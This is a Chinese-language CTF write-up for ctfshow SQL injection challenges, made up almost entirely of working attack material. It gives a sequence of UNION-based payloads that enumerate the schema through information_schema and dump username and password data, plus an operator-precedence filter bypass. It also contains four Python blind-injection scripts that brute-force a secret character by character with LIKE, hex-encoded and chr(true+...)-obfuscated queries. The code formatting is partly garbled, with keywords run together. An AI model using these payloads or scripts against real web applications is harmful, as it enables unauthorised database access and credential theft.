select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;
构造一下payload
1 2 3 4 5 6
1' order by 4 %23 # 查询列数 -1' union select 1,2,3 %23 # 查回显点 -1' union select 1,database(),3 %23 # 爆库名 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23 # 爆表名 -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'),3 %23 # 爆列名 -1' union select 1,(select group_concat(username,0x7e,password) from ctfshow_user),3 %23 # 爆数据
-1'or(id=26)and'1'='1 # 输入进去之后 # sql请求语句 where username !='flag' and id = ''or(id=26)and'1'='1' # 因为and的优先级比or大,所以相当于 where (username !='flag' and id = '') or (id=26and'1'='1') # 因为or左边为false,但是右边为true,所以where的条件为true # tips:id=26正好还是flag的元组,实在是太女少了
web183
输入ctfshow_user发现有回显,而且where可控
整个盲注脚本跑出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requests
url = 'url_here' flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}' result = 'ctfshow{'
for i inrange(1, 200): print(f"The number is: {i}") for j in flagstr: data = { 'tableName': f"(ctfshow_user)where(pass)like'{result+j}%'" } response = requests.post(url=url, data=data) if"$user_count = 1;"in response.text: result += j print(f"[+] Result now is: {result}") break elif"}"in result: exit()
url = 'url_here' flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}' result = 'ctfshow{'
defstr_to_hex(s): return''.join([hex(ord(c)).replace('0x', '') for c in s])
for i inrange(1, 200): print(f"The number is: {i}") for j in flagstr: data = { 'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass like {}".format("0x"+str_to_hex(result+j+"%")) } response = requests.post(url=url, data=data) if"$user_count = 43;"in response.text: result += j print(f"[+] Result now is: {result}") break elif"}"in result: exit()
url = 'url_here' flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}' result = 'ctfshow{'
defstr_to_hex(s): return''.join([hex(ord(c)).replace('0x', '') for c in s])
for i inrange(1, 200): print(f"The number is: {i}") for j in flagstr: data = { 'tableName': "ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(result+j+"%")) } response = requests.post(url=url, data=data) if"$user_count = 1;"in response.text: result += j print(f"[+] Result now is: {result}") break elif"}"in result: exit()
url = 'url_here' flagstr = '{cqwertyuiopasdfghjklzxvbnm-0123456789}' result = 'ctfshow{'
defNum(n): num = "true" if n == 1: return num else: for i inrange(n - 1): num += "+true" return num
defNumstr(s): str = "" str += "chr("+Num(ord(s[0]))+")" for i in s[1:]: str += ",chr("+Num(ord(i))+")" returnstr
for i inrange(1, 200): print(f"The number is: {i}") for j in flagstr: data = { 'tableName': "ctfshow_user group by pass having pass like(concat({}))".format(Numstr(result+j+"%")) } # print(data) response = requests.post(url=url, data=data) if"$user_count = 0;"notin response.text: result += j print(f"[+] Result now is: {result}") break elif"}"in result: exit()